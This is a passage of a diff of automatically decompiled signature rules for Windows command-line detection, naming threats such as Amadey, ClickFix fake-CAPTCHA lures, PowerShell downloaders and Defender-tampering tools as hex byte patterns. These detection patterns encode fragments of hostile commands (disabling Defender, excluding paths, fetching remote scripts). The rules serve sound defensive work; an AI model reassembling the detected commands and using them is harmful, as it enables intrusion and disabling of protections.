70 00 3a 00 2f 00 2f 00 90 02 0a 2e 00 63 00 67 00 6e 00 2e 00 63 00 61 00 6e 00 6f 00 6e 00 2e 00 63 00 6f 00 2e 00 6a 00 70 00 90 00 f6 ff 1c 02 68 74 74 70 3a 2f 2f 90 02 0a 2e 63 67 6e 2e 63 61 6e 6f 6e 2e 63 6f 2e 6a 70 90 00 0a 00 d7 c2 02 00 67 00 67 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 61 64 65 79 2e 52 50 43 21 4d 54 42 00 01 00 36 00 47 00 65 00 74 00 2d 00 53 00 63 00 68 00 65 00 64 00 75 00 6c 00 65 00 64 00 54 00 61 00 73 00 6b 00 20 00 2d 00 54 00 61 00 73 00 6b 00 4e 00 61 00 6d 00 65 00 01 00 c4 00 24 00 74 00 61 00 73 00 6b 00 2e 00 53 00 65 00 74 00 74 00 69 00 6e 00 67 00 73 00 2e 00 44 00 69 00 73 00 61 00 6c 00 6c 00 6f 00 77 00 53 00 74 00 61 00 72 00 74 00 49 00 66 00 4f 00 6e 00 } //-2451 + $a_00_8 = {74 00 74 00 65 00 72 00 69 00 65 00 73 00 20 00 3d 00 20 00 24 00 66 00 61 00 6c 00 73 00 65 00 3b 00 24 00 74 00 61 00 73 00 6b 00 2e 00 53 00 65 00 74 00 74 00 69 00 6e 00 67 00 73 00 2e 00 53 00 74 00 6f 00 70 00 49 00 66 00 47 00 6f 00 69 00 6e 00 67 00 4f 00 6e 00 42 00 61 00 74 00 74 } //66 + $a_00_10 = {73 00 20 00 3d 00 20 00 24 00 66 00 61 00 6c 00 73 00 65 00 3b 00 64 00 e6 00 24 00 74 00 61 00 73 00 6b 00 2e 00 53 00 65 00 74 00 74 00 69 00 6e 00 67 00 73 00 2e 00 57 00 61 00 6b 00 65 00 54 00 6f 00 52 00 75 00 6e 00 20 00 3d 00 20 00 24 00 66 00 61 00 6c 00 73 00 65 00 3b 00 24 00 74 00 61 00 73 } //105 + $a_00_12 = {74 00 74 00 69 00 6e 00 67 00 73 00 2e 00 52 00 75 00 6e 00 4f 00 6e 00 6c 00 79 00 49 00 66 00 49 00 64 00 6c 00 65 00 20 00 3d 00 20 00 24 00 66 00 61 00 6c 00 73 00 65 00 3b 00 24 00 74 00 61 00 73 00 6b 00 2e 00 53 00 65 00 74 00 74 00 69 00 6e 00 67 00 73 00 2e 00 45 00 78 00 65 00 63 00 75 00 74 } //83 + $a_00_14 = {69 00 6d 00 65 00 4c 00 69 00 6d 00 69 00 74 00 20 00 3d 00 20 00 27 00 50 00 54 00 30 00 53 00 27 00 3b 00 01 00 a8 00 24 00 74 00 61 00 73 00 6b 00 2e 00 53 00 65 00 74 00 74 00 69 00 6e 00 67 00 73 00 2e 00 4d 00 75 00 6c 00 74 00 69 00 70 00 6c 00 } //110 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*112+(#a_10_2 & 1)*-28672+(#a_00_3 & 1)*116+(#a_00_5 & 1)*116+(#a_00_6 & 1)*111+(#a_33_7 & 1)*-2451+(#a_00_8 & 1)*92+(#a_00_10 & 1)*111+(#a_00_11 & 1)*115+(#a_00_13 & 1)*105) >=1 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*112+(#a_10_2 & 1)*-28672+(#a_00_3 & 1)*116+(#a_00_5 & 1)*116+(#a_00_6 & 1)*111+(#a_33_7 & 1)*-2451+(#a_00_8 & 1)*66+(#a_00_10 & 1)*105+(#a_00_12 & 1)*83+(#a_00_14 & 1)*110) >=1 } -rule _InfrastructureShared_26564{ +rule _InfrastructureShared_28275{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,67 00 67 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 61 64 65 79 2e 52 50 43 21 4d 54 42 00 01 00 36 00 47 00 65 00 74 00 2d 00 53 00 63 00 68 00 65 00 64 00 75 00 6c 00 65 00 64 00 54 00 61 00 73 00 6b 00 20 00 2d 00 54 00 61 00 73 00 } //21283 + $a_00_1 = {61 00 6d 00 65 00 01 00 c4 00 24 00 74 00 61 00 73 00 6b 00 2e 00 53 00 65 00 74 00 74 00 69 00 6e 00 67 00 73 00 2e 00 44 00 69 00 73 00 61 00 6c 00 6c 00 6f 00 77 00 53 00 74 00 61 00 72 00 74 00 49 00 66 00 4f 00 6e 00 42 00 61 00 } //107 + $a_00_2 = {65 00 72 00 69 00 65 00 73 00 20 00 3d 00 20 00 24 00 66 00 61 00 6c 00 73 00 65 00 3b 00 24 00 74 00 61 00 73 00 6b 00 2e 00 53 00 65 00 74 00 74 00 69 00 6e 00 67 00 73 00 2e 00 53 00 74 00 6f 00 70 00 49 00 66 00 47 00 6f 00 69 00 6e 00 67 00 4f 00 6e 00 42 00 61 00 74 00 74 00 65 00 72 00 69 00 65 00 73 00 20 00 3d 00 20 00 24 00 66 00 61 00 } //116 eries = $false;$task.Settings.StopIfGoingOnBatteries = $fa + $a_00_3 = {65 00 3b 00 64 00 e6 00 24 00 74 00 61 00 73 00 6b 00 2e 00 53 00 65 00 74 00 74 00 69 00 6e 00 67 00 73 00 2e 00 57 00 61 00 6b 00 65 00 54 00 6f 00 52 00 75 00 6e 00 20 00 3d 00 20 00 24 00 66 00 61 00 6c 00 73 00 65 00 3b 00 24 00 74 00 61 00 73 00 6b 00 2e 00 53 00 65 00 74 00 74 00 69 00 6e 00 67 00 73 00 2e 00 52 00 75 00 6e 00 4f 00 6e } //108 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*107+(#a_00_2 & 1)*116+(#a_00_3 & 1)*108) >=103 + +} +rule _InfrastructureShared_28276{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1a 00 1a 00 16 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 50 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 08 00 68 00 74 00 74 00 70 00 01 00 06 00 69 00 77 00 72 00 05 } //21283 + $a_00_2 = {79 00 20 00 05 00 16 00 20 00 72 00 65 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 20 00 05 00 16 00 20 00 72 00 65 00 20 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 01 00 16 00 50 00 72 00 65 00 73 00 73 00 20 00 45 00 6e 00 74 00 65 00 72 00 05 00 12 00 20 00 72 00 43 00 41 00 50 00 54 } //114 + $a_00_4 = {14 00 20 00 63 } //65 + $a_00_6 = {46 00 52 00 45 00 45 00 05 00 14 00 20 00 4f 00 76 00 65 00 72 00 20 00 46 00 52 00 45 00 45 00 } //112 + $a_00_7 = {20 00 72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 72 00 } //5 robot: r + $a_00_8 = {20 00 72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 72 00 } //5 robot - r + $a_00_9 = {20 00 72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 43 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 } //5 robot - Cloudflare + $a_00_10 = {20 00 72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 43 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 } //5 robot: Cloudflare + $a_00_11 = {20 00 72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 } //5 robot: CAPTCHA + $a_00_12 = {20 00 72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 } //5 robot - CAPTCHA + $a_00_13 = {20 00 48 00 75 00 6d 00 61 00 6e 00 20 00 2d 00 20 00 72 00 } //5 Human - r + $a_00_14 = {20 00 48 00 75 00 6d 00 61 00 6e 00 3a 00 20 00 72 00 } //5 Human: r + $a_00_15 = {20 00 48 00 75 00 6d 00 61 00 6e 00 3a 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 } //5 Human: CAPTCHA + $a_00_16 = {20 00 48 00 75 00 6d 00 61 00 6e 00 20 00 2d 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 } //5 Human - CAPTCHA + $a_00_17 = {20 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 3a 00 20 00 46 00 69 00 78 00 20 00 49 00 6e 00 74 00 65 00 72 00 6e 00 65 00 74 00 20 00 44 00 4e 00 53 00 20 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 20 00 72 00 65 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 } //5 Microsoft Windows: Fix Internet DNS Service reconnect + $a_00_18 = {6d 00 65 00 73 00 6f 00 73 00 2d 00 63 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00 72 00 69 00 7a 00 65 00 72 00 2e 00 65 00 78 00 65 00 } //-1000 mesos-containerizer.exe + $a_e4_19 = {00 02 00 02 00 0d 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 4d 70 54 61 6d 70 65 72 52 65 6d 6f 74 65 50 72 6f 63 2e 41 00 02 00 4b 02 73 00 63 00 90 02 08 20 00 63 00 6f 00 6e 00 66 00 69 00 67 00 20 00 57 00 69 00 6e 00 44 00 65 00 66 00 65 00 6e 00 64 00 20 00 73 00 74 00 61 00 72 00 74 00 3d 00 20 00 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 64 00 90 00 02 00 44 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 41 00 6e 00 74 00 69 00 6d 00 61 00 6c 00 77 00 61 00 72 00 65 00 5c 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 73 00 5c 00 02 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 44 00 } //0 + $a_00_20 = {65 00 6e 00 64 00 65 00 72 00 5c 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 73 00 5c 00 02 00 30 00 5c 00 57 00 4d 00 49 00 5c 00 41 00 75 00 74 00 6f 00 6c 00 6f 00 67 00 67 00 65 00 72 00 5c 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 02 00 2a 00 44 00 69 00 73 00 61 00 62 00 6c 00 } //101 + $a_00_21 = {4f 00 41 00 56 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 69 00 6f 00 6e 00 02 00 32 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 52 00 65 00 61 00 6c 00 74 00 69 00 6d 00 65 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*114+(#a_00_4 & 1)*65+(#a_00_6 & 1)*112+(#a_00_7 & 1)*5+(#a_00_8 & 1)*5+(#a_00_9 & 1)*5+(#a_00_10 & 1)*5+(#a_00_11 & 1)*5+(#a_00_12 & 1)*5+(#a_00_13 & 1)*5+(#a_00_14 & 1)*5+(#a_00_15 & 1)*5+(#a_00_16 & 1)*5+(#a_00_17 & 1)*5+(#a_00_18 & 1)*-1000+(#a_e4_19 & 1)*0+(#a_00_20 & 1)*101+(#a_00_21 & 1)*101) >=26 + +} +rule _InfrastructureShared_28277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 0d 00 21 " @@ -347492,34 +369834,13 @@ rule _InfrastructureShared_26564{ $a_00_6 = {6e 00 67 00 02 00 32 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 42 00 65 00 68 00 61 00 76 00 69 00 6f 00 72 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 69 00 6e 00 67 00 02 00 32 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 4f 00 6e 00 41 00 63 00 63 00 65 00 73 00 73 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 } //114 $a_00_8 = {36 00 } //110 6 $a_00_9 = {73 00 61 00 62 00 6c 00 65 00 53 00 63 00 61 00 6e 00 4f 00 6e 00 52 00 65 00 61 00 6c 00 74 00 69 00 6d 00 65 00 45 00 6e 00 61 00 62 00 6c 00 65 00 02 00 24 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 41 00 6e 00 74 00 69 00 53 00 70 00 79 00 77 00 61 00 72 00 65 00 02 00 20 00 44 00 69 00 73 00 61 00 62 00 6c } //68 - $a_00_11 = {69 00 56 00 69 00 72 00 75 00 73 00 02 00 3b 02 41 00 64 00 64 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 90 02 10 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 90 00 f6 ff 19 02 72 00 65 00 67 00 90 02 10 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 90 00 00 00 d7 ef 02 00 56 04 56 04 0d 00 } //110 - $a_4c_12 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 44 6c 72 2e 53 47 21 4d 54 42 00 f4 01 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 f4 01 1a 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 } //8993 + $a_00_11 = {69 00 56 00 69 00 72 00 75 00 73 00 02 00 3b 02 41 00 64 00 64 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 90 02 10 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 90 00 f6 ff 19 02 72 00 65 00 67 00 90 02 10 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 90 00 00 00 d7 f1 02 00 01 00 01 00 04 00 } //110 + $a_45_12 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 70 54 61 6d 70 65 72 44 69 73 61 62 6c 65 53 63 68 74 61 73 6b 73 2e 41 00 01 00 b4 00 2f 00 63 00 68 00 61 00 6e 00 67 00 65 00 20 00 2f 00 74 00 6e 00 20 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 } //8993 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*116+(#a_00_3 & 1)*92+(#a_00_5 & 1)*101+(#a_00_6 & 1)*114+(#a_00_8 & 1)*110+(#a_00_9 & 1)*68+(#a_00_11 & 1)*110+(#a_4c_12 & 1)*8993) >=2 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*116+(#a_00_3 & 1)*92+(#a_00_5 & 1)*101+(#a_00_6 & 1)*114+(#a_00_8 & 1)*110+(#a_00_9 & 1)*68+(#a_00_11 & 1)*110+(#a_45_12 & 1)*8993) >=2 } -rule _InfrastructureShared_26565{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,56 04 56 04 0d 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 44 6c 72 2e 53 47 21 4d 54 42 00 f4 01 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 f4 01 1a 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 } //21283 - $a_00_1 = {6e 00 74 00 0a 00 0c 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 0a 00 08 00 6a 00 6f 00 69 00 6e 00 64 00 41 02 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-3c] 2e 00 73 00 68 00 6f 00 70 00 } //105 - $a_02_2 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-3c] 2e 00 78 00 79 00 7a 00 } //100 - $a_02_3 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-3c] 2e 00 63 00 79 00 6f 00 75 00 } //100 - $a_02_4 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-3c] 2e 00 63 00 6c 00 69 00 63 00 6b 00 } //100 - $a_02_5 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-3c] 2e 00 6c 00 61 00 74 00 } //100 - $a_02_6 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-3c] 2e 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 } //100 - $a_02_7 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-3c] 2e 00 74 00 6f 00 64 00 61 00 79 00 } //100 - $a_02_8 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-3c] 2e 00 77 00 6f 00 72 00 6c 00 64 00 } //100 - $a_02_9 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-3c] 2e 00 69 00 63 00 75 00 } //100 - $a_f1_10 = {00 01 00 01 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 70 54 61 6d 70 65 72 44 69 73 61 62 6c 65 53 63 68 74 61 73 6b 73 2e 41 00 01 00 b4 00 2f 00 63 00 68 00 61 00 6e 00 67 00 65 00 20 00 2f 00 74 00 6e 00 20 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 64 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 64 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 20 00 63 00 61 00 63 00 68 00 65 00 20 00 4d 00 61 00 69 00 6e 00 74 00 65 00 6e 00 61 00 6e 00 63 } //0 - $a_00_12 = {69 00 73 00 61 00 62 00 6c 00 65 00 01 00 aa 00 2f 00 63 00 68 00 61 00 6e 00 67 00 65 00 20 00 2f 00 74 00 6e 00 20 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 64 00 65 00 66 00 65 00 } //47 - condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*105+(#a_02_2 & 1)*100+(#a_02_3 & 1)*100+(#a_02_4 & 1)*100+(#a_02_5 & 1)*100+(#a_02_6 & 1)*100+(#a_02_7 & 1)*100+(#a_02_8 & 1)*100+(#a_02_9 & 1)*100+(#a_f1_10 & 1)*0+(#a_00_12 & 1)*47) >=1110 - -} -rule _InfrastructureShared_26566{ +rule _InfrastructureShared_28278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 04 00 21 " @@ -347531,7 +369852,7 @@ rule _InfrastructureShared_26566{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*105+(#a_00_3 & 1)*104) >=1 } -rule _InfrastructureShared_26567{ +rule _InfrastructureShared_28279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 14 00 21 " @@ -347559,7 +369880,7 @@ rule _InfrastructureShared_26567{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*110+(#a_00_2 & 1)*105+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1) >=11 } -rule _InfrastructureShared_26568{ +rule _InfrastructureShared_28280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 1b 00 21 " @@ -347586,7 +369907,7 @@ rule _InfrastructureShared_26568{ ((#a_46_0 & 1)*21283+(#a_2e_2 & 1)*656+(#a_00_4 & 1)*58+(#a_00_6 & 1)*32+(#a_00_7 & 1)*32+(#a_00_9 & 1)*101+(#a_00_10 & 1)*101+(#a_00_11 & 1)*101+(#a_20_13 & 1)*656+(#a_00_15 & 1)*-22569+(#a_3a_17 & 1)*19539+(#a_00_18 & 1)*115+(#a_00_19 & 1)*32+(#a_00_20 & 1)*24+(#a_00_21 & 1)*109+(#a_ff_23 & 1)*32+(#a_00_25 & 1)*32+(#a_00_26 & 1)*108) >=1 } -rule _InfrastructureShared_26569{ +rule _InfrastructureShared_28281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 1b 00 21 " @@ -347613,7 +369934,7 @@ rule _InfrastructureShared_26569{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*32+(#a_00_4 & 1)*45+(#a_00_6 & 1)*97+(#a_00_8 & 1)*45+(#a_00_10 & 1)*114+(#a_00_12 & 1)*46+(#a_00_14 & 1)*102+(#a_00_16 & 1)*101+(#a_00_18 & 1)*114+(#a_57_19 & 1)*28257+(#a_00_20 & 1)*100+(#a_00_21 & 1)*100+(#a_00_22 & 1)*100+(#a_00_23 & 1)*100+(#a_00_24 & 1)*100+(#a_00_25 & 1)*100+(#a_00_26 & 1)*100) >=5 } -rule _InfrastructureShared_26570{ +rule _InfrastructureShared_28282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 20 00 21 " @@ -347643,7 +369964,7 @@ rule _InfrastructureShared_26570{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*20+(#a_00_3 & 1)*97+(#a_00_4 & 1)*98+(#a_00_6 & 1)*98+(#a_00_8 & 1)*65+(#a_00_9 & 1)*58+(#a_00_10 & 1)*32+(#a_00_12 & 1)*32+(#a_22_13 & 1)*8196+(#a_00_14 & 1)*1040+(#a_20_15 & 1)*-26368+(#a_00_17 & 1)*959+(#a_00_19 & 1)*121+(#a_00_21 & 1)*112+(#a_00_23 & 1)*55+(#a_00_24 & 1)*55+(#a_00_26 & 1)*98+(#a_00_27 & 1)*99+(#a_00_29 & 1)*110+(#a_00_30 & 1)*119) >=111 } -rule _InfrastructureShared_26571{ +rule _InfrastructureShared_28283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -347660,7 +369981,7 @@ rule _InfrastructureShared_26571{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*114+(#a_00_3 & 1)*101+(#a_00_4 & 1)*104+(#a_00_5 & 1)*115+(#a_00_6 & 1)*110+(#a_00_7 & 1)*100+(#a_00_9 & 1)*116) >=11 } -rule _InfrastructureShared_26572{ +rule _InfrastructureShared_28284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 1e 00 21 " @@ -347687,7 +370008,7 @@ rule _InfrastructureShared_26572{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*115+(#a_00_4 & 1)*101+(#a_00_6 & 1)*101+(#a_00_8 & 1)*114+(#a_00_9 & 1)*115+(#a_00_11 & 1)*117+(#a_00_14 & 1)*115+(#a_00_16 & 1)*111+(#a_00_18 & 1)*114+(#a_43_19 & 1)*24912+(#a_00_20 & 1)*116+(#a_00_22 & 1)*115+(#a_00_23 & 1)*108+(#a_00_24 & 1)*108+(#a_00_27 & 1)*117+(#a_00_28 & 1)*101+(#a_00_29 & 1)*104) >=1 } -rule _InfrastructureShared_26573{ +rule _InfrastructureShared_28285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 2f 00 21 " @@ -347738,7 +370059,7 @@ rule _InfrastructureShared_26573{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*46+(#a_00_3 & 1)*110+(#a_00_5 & 1)*10+(#a_00_6 & 1)*10+(#a_00_7 & 1)*10+(#a_00_8 & 1)*10+(#a_00_9 & 1)*10+(#a_00_10 & 1)*10+(#a_00_11 & 1)*10+(#a_00_12 & 1)*10+(#a_00_13 & 1)*10+(#a_00_14 & 1)*10+(#a_00_15 & 1)*10+(#a_00_16 & 1)*10+(#a_00_17 & 1)*10+(#a_00_18 & 1)*10+(#a_00_19 & 1)*10+(#a_00_20 & 1)*10+(#a_00_21 & 1)*10+(#a_00_22 & 1)*10+(#a_00_23 & 1)*10+(#a_00_24 & 1)*10+(#a_00_25 & 1)*10+(#a_00_26 & 1)*10+(#a_00_27 & 1)*10+(#a_00_28 & 1)*10+(#a_02_29 & 1)*10+(#a_00_30 & 1)*-100+(#a_00_31 & 1)*-100+(#a_00_32 & 1)*-100+(#a_00_33 & 1)*-100+(#a_00_34 & 1)*-100+(#a_00_35 & 1)*-100+(#a_00_36 & 1)*-100+(#a_00_37 & 1)*-100+(#a_00_38 & 1)*-100+(#a_df_39 & 1)*0+(#a_00_41 & 1)*109+(#a_00_43 & 1)*105+(#a_00_44 & 1)*116+(#a_00_45 & 1)*108) >=10 } -rule _InfrastructureShared_26574{ +rule _InfrastructureShared_28286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0c 00 0c 00 07 00 21 " @@ -347751,7 +370072,7 @@ rule _InfrastructureShared_26574{ ((#a_4c_0 & 1)*21539+(#a_00_3 & 1)*105+(#a_00_4 & 1)*70+(#a_00_6 & 1)*118) >=12 } -rule _InfrastructureShared_26575{ +rule _InfrastructureShared_28287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,2a 00 2a 00 16 00 21 " @@ -347782,7 +370103,7 @@ rule _InfrastructureShared_26575{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*2+(#a_00_4 & 1)*2+(#a_00_5 & 1)*2+(#a_00_6 & 1)*2+(#a_00_7 & 1)*2+(#a_00_8 & 1)*2+(#a_00_9 & 1)*2+(#a_00_10 & 1)*2+(#a_00_11 & 1)*2+(#a_00_12 & 1)*10+(#a_00_13 & 1)*-100+(#a_00_14 & 1)*-100+(#a_00_15 & 1)*-100+(#a_00_16 & 1)*-100+(#a_00_17 & 1)*-100+(#a_00_18 & 1)*-100+(#a_00_19 & 1)*-100+(#a_00_20 & 1)*-100+(#a_00_21 & 1)*-100) >=42 } -rule _InfrastructureShared_26576{ +rule _InfrastructureShared_28288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 0c 00 21 " @@ -347800,7 +370121,7 @@ rule _InfrastructureShared_26576{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101+(#a_00_2 & 1)*99+(#a_00_4 & 1)*77+(#a_00_5 & 1)*108+(#a_00_6 & 1)*111+(#a_00_8 & 1)*114+(#a_00_10 & 1)*108+(#a_00_11 & 1)*114) >=111 } -rule _InfrastructureShared_26577{ +rule _InfrastructureShared_28289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 20 00 21 " @@ -347834,7 +370155,7 @@ rule _InfrastructureShared_26577{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*32+(#a_00_4 & 1)*45+(#a_00_6 & 1)*97+(#a_00_8 & 1)*45+(#a_00_10 & 1)*108+(#a_00_11 & 1)*101+(#a_00_12 & 1)*116+(#a_00_13 & 1)*97+(#a_00_15 & 1)*108+(#a_00_16 & 1)*108+(#a_00_17 & 1)*100+(#a_00_18 & 1)*100+(#a_00_19 & 1)*32+(#a_00_20 & 1)*-200+(#a_00_21 & 1)*-200+(#a_00_22 & 1)*-200+(#a_00_23 & 1)*-200+(#a_00_24 & 1)*-200+(#a_00_25 & 1)*-200+(#a_00_26 & 1)*-200+(#a_00_27 & 1)*-200+(#a_00_28 & 1)*-200+(#a_0c_29 & 